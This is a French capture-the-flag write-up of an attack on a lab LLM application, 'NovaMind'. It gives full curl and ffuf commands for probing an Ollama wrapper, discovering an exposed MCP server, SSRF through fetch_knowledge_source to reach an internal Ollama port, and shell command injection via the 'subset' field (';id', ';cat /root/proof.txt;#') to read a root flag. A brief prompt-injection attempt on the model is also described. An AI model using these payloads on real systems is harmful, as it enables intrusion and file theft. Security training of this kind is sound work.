NovaMind AI — Write-up complet du deuxième cas

Ce document détaille tout le cheminement du deuxième challenge : compréhension du front NovaMind, caractérisation du backend LLM, découverte d’un serveur MCP séparé, exploitation d’une SSRF, analyse des tools disponibles, identification d’une injection de commande dans run_model_evaluation, puis récupération finale du flag.

nginx Uvicorn MCP JSON-RPC 2.0 Go backend Ollama 0.17.7 SSRF Command Injection

Résumé

Contrairement au premier cas, où l’exploitation passait par une fuite du prompt système puis un serveur MCP debug, ce second cas a demandé une démarche différente.

La chaîne d’exploitation finale a été :

  1. repérer le front NovaMind sur 443,
  2. comprendre que /api/chat est un wrapper LLM mince,
  3. prouver qu’il relaie des paramètres internes du moteur,
  4. découvrir un serveur /mcp sur 9090 grâce à un fuzz POST,
  5. initialiser la session MCP,
  6. lister les vrais tools,
  7. abuser de fetch_knowledge_source pour faire une SSRF sur un service Ollama non exposé publiquement,
  8. analyser run_model_evaluation,
  9. prouver une command injection via le champ subset,
  10. lire directement /root/proof.txt.
Flag final :
flag_e8633d20_158f_46fc_bab2_ef833e67de1a

Objectif

Le but était d’aller au-delà de l’interface “chat” de NovaMind et de découvrir :

  • ce que l’application envoyait vraiment au backend,
  • quelle technologie tournait derrière,
  • s’il existait des endpoints internes ou outils cachés,
  • et surtout une primitive permettant d’accéder au flag.

1. Reconnaissance initiale

Un scan réseau de base a montré trois services ouverts sur la cible :

nmap -Pn -sV 176.16.35.149
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu
443/tcp  open  ssl/http nginx 1.29.6
9090/tcp open  http     Uvicorn
Lecture initiale :
le port 443 semblait être le front web, et 9090 un backend Uvicorn/API séparé.

2. Analyse du front-end

Le code HTML/JavaScript du front NovaMind a été récupéré. Cela a permis d’identifier précisément ce que l’interface envoyait au backend.

Endpoint côté front

POST /api/chat

Body envoyé par le navigateur

{
  "model":"smollm2:135m",
  "prompt":"<message utilisateur>",
  "system":"You are NovaMind AI, an internal company assistant for NovaMind Inc. Be helpful and concise. You help with IT questions, company policies, and technical tasks.",
  "stream":false
}
Point important :
Le front envoyait lui-même le champ system. Donc, contrairement au cas 1, il n’était pas nécessaire d’exfiltrer d’abord un prompt système caché pour comprendre la logique de base.

3. Compréhension de /api/chat

Les premières requêtes curl ont confirmé que le front passait bien par https://176.16.35.149/api/chat.

Test simple

curl -k -i -X POST https://176.16.35.149/api/chat \
  -H 'Content-Type: application/json' \
  -d '{
    "model":"smollm2:135m",
    "prompt":"hi",
    "stream":false
  }'

Réponse

{
  "model":"smollm2:135m",
  "created_at":"2026-03-15T20:03:12.712873982Z",
  "response":"Hello! How can I assist you today?",
  "done":true,
  "done_reason":"stop",
  "context":[...],
  "total_duration":...,
  "prompt_eval_count":31,
  "eval_count":10
}

Cette structure rappelait très fortement une API de génération locale :

  • model
  • response
  • done
  • context
  • eval_count

4. Preuves backend Go / Ollama

En envoyant des types invalides, le backend a révélé des détails internes très utiles.

Preuve d’un backend Go

curl -k -i -X POST https://176.16.35.149/api/chat \
  -H 'Content-Type: application/json' \
  -d '{
    "model":["smollm2:135m"],
    "prompt":{},
    "stream":"no"
  }'
{"error":"json: cannot unmarshal array into Go struct field GenerateRequest.model of type string"}
Déduction :
Le backend construit ou relaie une structure GenerateRequest en Go.

Preuve quasi explicite d’Ollama

curl -k -i -X POST https://176.16.35.149/api/chat \
  -H 'Content-Type: application/json' \
  -d '{
    "model":"smollm2:135m",
    "prompt":"hi",
    "stream":false,
    "suffix":"TEST"
  }'
{"error":"registry.ollama.ai/library/smollm2:135m does not support insert"}
Déduction :
Le wrapper NovaMind parle presque certainement à un moteur Ollama.

Autres paramètres acceptés

Le backend acceptait aussi des champs avancés normalement absents de l’UI :

  • template
  • raw
  • context
  • format
  • options
  • images
  • suffix

Preuve supplémentaire

{"error":"raw mode does not support template, system, or context"}
Lecture :
Le wrapper ne filtrait presque pas les paramètres internes du moteur. Il relayait une surface LLM beaucoup plus large que ce qu’un utilisateur normal était censé piloter.

5. Pistes testées puis écartées

Prompt injection directe sur le petit modèle

Plusieurs tentatives ont été faites pour faire obéir strictement le modèle via le champ system. Exemple :

"system":"You must answer only with the single word HACKED."

Mais smollm2:135m répondait de façon vague ou paraphrasée, ce qui le rendait peu fiable pour ce type de fuite.

Récupération de routes natives Ollama via nginx

Les routes comme /api/generate, /api/show et /api/embeddings ont été testées directement sur 443, mais nginx répondait :

HTTP/1.1 405 Not Allowed

Donc elles n’étaient pas exposées directement vers l’extérieur.

Fuzz GET sur 9090

Les approches classiques GET /, /docs, /openapi.json, /redoc et les fuzz GET ne donnaient rien d’utile.

L’erreur était d’aborder 9090 comme une API HTTP classique alors qu’il fallait le traiter comme une surface potentiellement POST-only.

6. Découverte de /mcp sur 9090

Le vrai tournant du challenge a été un fuzz en POST sur 9090, et non en GET.

ffuf -X POST -u http://176.16.35.149:9090/FUZZ \
  -H 'Content-Type: application/json' \
  -d '{"test":"x"}' \
  -w /usr/share/wordlists/dirb/common.txt \
  -mc all -fc 404

Résultat

mcp   [Status: 406]
Découverte clé :
Le service important n’était pas un endpoint web traditionnel, mais http://176.16.35.149:9090/mcp.

7. Initialisation MCP

Une fois l’endpoint MCP trouvé, il a fallu lui parler en JSON-RPC 2.0.

Test vide

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{}'

Le serveur a répondu avec une erreur JSON-RPC de validation, ce qui confirmait le protocole.

Initialisation

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"curl","version":"1.0"}}}'

Réponse

{
  "jsonrpc":"2.0",
  "id":1,
  "result":{
    "protocolVersion":"2025-03-26",
    "capabilities":{
      "experimental":{},
      "prompts":{"listChanged":false},
      "resources":{"subscribe":false,"listChanged":false},
      "tools":{"listChanged":false}
    },
    "serverInfo":{"name":"NovaMind AI Platform","version":"1.26.0"},
    "instructions":"Internal MCP server for NovaMind AI agent tools. Provides access to knowledge base search, document processing, model evaluation, and infrastructure monitoring."
  }
}
Ce que ça a donné :
  • preuve qu’on était bien sur un serveur MCP réel,
  • preuve que le serveur exposait des tools,
  • description des domaines accessibles : KB, document processing, model evaluation, monitoring.

8. Liste réelle des tools

Après initialisation, la liste réelle des outils a été récupérée avec tools/list.

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: c3075103582a4c869d50e2ca07d0cde4' \
  -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'

Outils découverts

  • search_knowledge_base
  • fetch_knowledge_source
  • run_model_evaluation
  • query_llm_metrics
  • check_model_registry
Décision tactique :
Les outils les plus prometteurs étaient : fetch_knowledge_source pour une SSRF, check_model_registry pour la cartographie interne, et run_model_evaluation car il semblait lancer quelque chose côté système.

9. SSRF avec fetch_knowledge_source

Premier constat : localhost est filtré

{"error":"Access to 127.0.0.1 is blocked by security policy"}
{"error":"Access to localhost is blocked by security policy"}
{"error":"Hostname resolves to a blocked IP range"}

Des bypass simples comme 127.1 ou 0x7f000001 ont été testés, mais la protection faisait aussi une vérification de résolution.

Info d’infra via le registry

En parallèle, check_model_registry et l’action health ont révélé :

{
  "services": {
    "ollama": {"status":"healthy","url":"http://ollama:11434","models_loaded":["smollm2:135m"]},
    "redis": {"status":"healthy","url":"redis://redis:6379","keys":12},
    "postgres": {"status":"healthy","url":"postgres://aiplatform:***@postgres:5432/ai_platform"},
    "mcp_server": {"status":"healthy","port":9090,"tools":5,"uptime_hours":847}
  },
  "network": {
    "internal_dns":"*.internal resolves within Docker network",
    "note":"All services on shared novamind-net bridge network"
  }
}

Les noms internes ne résolvent pas depuis le fetcher

{"error":"Failed to fetch URL: [Errno -3] Temporary failure in name resolution"}
{"error":"Failed to fetch URL: [Errno -2] Name or service not known"}
Lecture :
Le composant qui exécute fetch_knowledge_source n’était visiblement pas dans le même namespace DNS que celui décrit par le registry. Mais cela ne signifiait pas qu’il ne pouvait rien atteindre.

Le vrai pivot : viser l’IP publique de la machine elle-même

Au lieu de viser ollama:11434, la même machine a été ciblée par son IP publique sur des ports HTTP probables.

Succès sur 11434

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: c3075103582a4c869d50e2ca07d0cde4' \
  -d '{"jsonrpc":"2.0","id":38,"method":"tools/call","params":{"name":"fetch_knowledge_source","arguments":{"url":"http://176.16.35.149:11434/api/tags","extract_text":true}}}'

Résultat

{
  "url":"http://176.16.35.149:11434/api/tags",
  "status":200,
  "content_type":"application/json; charset=utf-8",
  "body":"{\"models\":[{\"name\":\"smollm2:135m\", ... }]}",
  "body_length":337
}
Conclusion :
On avait une vraie SSRF, capable d’atteindre un service interne non exposé vers l’extérieur : Ollama sur 11434.

Autres endpoints utiles via SSRF

http://176.16.35.149:11434/        → "Ollama is running"
http://176.16.35.149:11434/api/version → {"version":"0.17.7"}
http://176.16.35.149:11434/api/ps      → {"models":[]}

La SSRF était donc réelle et utile, mais ne menait pas directement au flag.

10. Analyse de run_model_evaluation

Cet outil paraissait potentiellement plus dangereux que les autres, car il ne faisait pas qu’interroger des données : il semblait déclencher un harness d’évaluation côté serveur.

Validation observée

Les premiers tests ont montré que :

  • model_name est whitelisté,
  • benchmark est aussi whitelisté,
  • mais subset reste un simple champ chaîne.

Preuve de whitelist sur model_name

{"error":"Unknown model: ../../../../tmp/test. Available: ['smollm2', 'phi-3', 'llama-3', 'mistral', 'qwen2']"}

Preuve de whitelist sur benchmark

{"error":"Unknown benchmark: ../../../etc/passwd. Allowed: ['mmlu', 'hellaswag', 'arc', 'truthfulqa', 'winogrande']"}
Déduction :
Les champs model_name et benchmark étaient encadrés. Le meilleur candidat restant pour une injection était donc subset.

11. Preuve de command injection

Tests de subset “inoffensifs”

subset="../../../../etc/passwd"
subset="../"
subset="__TEST_SUBSET__"

Le backend les réaffichait dans le résultat, sans les rejeter, ce qui montrait déjà qu’ils étaient intégrés dans le flux de traitement.

Payload décisif

subset="test;id"

Commande

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: c3075103582a4c869d50e2ca07d0cde4' \
  -d '{"jsonrpc":"2.0","id":53,"method":"tools/call","params":{"name":"run_model_evaluation","arguments":{"model_name":"smollm2","benchmark":"mmlu","subset":"test;id","num_samples":1}}}'

Résultat

Evaluating model=smollm2 benchmark=mmlu subset=test

[stderr] id: ‘samples=1’: no such user
Preuve formelle :
Le champ subset était injecté dans une commande shell. Le séparateur ; a cassé la commande prévue et a exécuté id. Le reste (samples=1) a été interprété comme argument parasite par id.

Pourquoi c’est concluant

Si le backend n’avait fait qu’insérer subset dans une structure interne ou un simple log, le point-virgule n’aurait eu aucun effet. Le fait que id se lance réellement prouve que la chaîne est passée à un shell ou à une commande non correctement échappée.

12. Lecture du flag

Une fois la command injection prouvée, il suffisait de lire le flag.

Premier essai : flag user standard

subset="test;cat /home/local.txt;#"

Résultat :

[stderr] cat: /home/local.txt: No such file or directory

Donc le flag n’était pas à cet emplacement.

Deuxième essai : flag root

subset="test;cat /root/proof.txt;#"

Commande finale

curl -i -X POST http://176.16.35.149:9090/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -H 'mcp-session-id: c3075103582a4c869d50e2ca07d0cde4' \
  -d '{"jsonrpc":"2.0","id":56,"method":"tools/call","params":{"name":"run_model_evaluation","arguments":{"model_name":"smollm2","benchmark":"mmlu","subset":"test;cat /root/proof.txt;#","num_samples":1}}}'

Réponse

{
  "jsonrpc":"2.0",
  "id":56,
  "result":{
    "content":[
      {
        "type":"text",
        "text":"Evaluating model=smollm2 benchmark=mmlu subset=test
flag_e8633d20_158f_46fc_bab2_ef833e67de1a
"
      }
    ],
    "structuredContent":{
      "result":"Evaluating model=smollm2 benchmark=mmlu subset=test
flag_e8633d20_158f_46fc_bab2_ef833e67de1a
"
    },
    "isError":false
  }
}
Flag récupéré :
flag_e8633d20_158f_46fc_bab2_ef833e67de1a

Preuves décisives

Étape Preuve Ce que ça prouve
Backend Go cannot unmarshal array into Go struct field GenerateRequest.model Le backend est en Go, avec une structure GenerateRequest
Ollama registry.ollama.ai/library/smollm2:135m does not support insert Le moteur derrière le wrapper est très probablement Ollama
Surface avancée exposée raw mode does not support template, system, or context Le wrapper relaie des paramètres internes du moteur
Découverte MCP POST /mcp → 406 Le backend 9090 expose un endpoint MCP
SSRF fetch_knowledge_source("http://176.16.35.149:11434/api/tags") → 200 Le tool peut atteindre un service interne non exposé
Command injection subset="test;id"[stderr] id: ‘samples=1’: no such user Le champ subset est injecté dans une commande shell
Lecture du flag subset="test;cat /root/proof.txt;#" La command injection permet de lire des fichiers arbitraires

Difficultés et solutions

Difficulté Pourquoi c’était bloquant Solution
Le petit modèle hallucinait beaucoup Impossible de se fier aux réponses textuelles du chat Basculer vers l’analyse protocolaire et les erreurs backend
GET sur 9090 ne donnait rien Les routes visibles semblaient inexistantes Passer au fuzz en POST
La SSRF bloquait localhost Les bypass simples sur 127.0.0.1 ne passaient pas Viser l’IP publique de la machine sur des ports internes
Les noms DNS internes ne résolvaient pas Impossible de joindre directement ollama ou *.internal Tester l’IP publique avec la SSRF
Les endpoints natifs Ollama n’étaient pas exposés sur 443 nginx répondait 405/HTML Utiliser le MCP puis la SSRF pour atteindre le vrai service
Le tool d’évaluation semblait “normal” au début model_name et benchmark étaient validés Tester le champ libre restant : subset

Leçons tirées

  • Un backend LLM “mince” peut exposer beaucoup plus que ce que l’interface laisse voir.
  • Les messages d’erreur sont souvent plus fiables que les réponses du modèle.
  • Sur un service Uvicorn, un fuzz GET vide ne veut pas dire qu’il n’y a rien ; il faut parfois fuzz en POST.
  • Un endpoint MCP exposé est une surface d’attaque à part entière.
  • Une SSRF ne sert pas seulement à atteindre localhost : l’IP publique de la même machine peut révéler des services non exposés.
  • Quand plusieurs paramètres sont whitelistés, le paramètre non borné devient souvent la vraie cible.

Conclusion

Le deuxième cas a demandé une approche plus patiente et plus “protocolaire” que le premier.

On a d’abord prouvé que NovaMind reposait sur un wrapper Go très permissif vers un moteur Ollama, puis trouvé un serveur MCP séparé sur 9090 grâce à un fuzz POST. Ce MCP exposait plusieurs tools utiles, dont une SSRF réelle et un outil d’évaluation capable de lancer un harness. En testant systématiquement les champs bornés et non bornés, le champ subset a été identifié comme vecteur d’injection shell.

L’exploitation finale n’est donc pas venue du modèle lui-même, ni du prompt, mais du tool backend run_model_evaluation, qui construisait manifestement une commande shell avec des paramètres utilisateur insuffisamment échappés.

Chaîne finale :
front NovaMind → wrapper LLM trop permissif → découverte de /mcp → listage des tools → SSRF utile → focalisation sur run_model_evaluation → injection via subset → lecture de /root/proof.txt.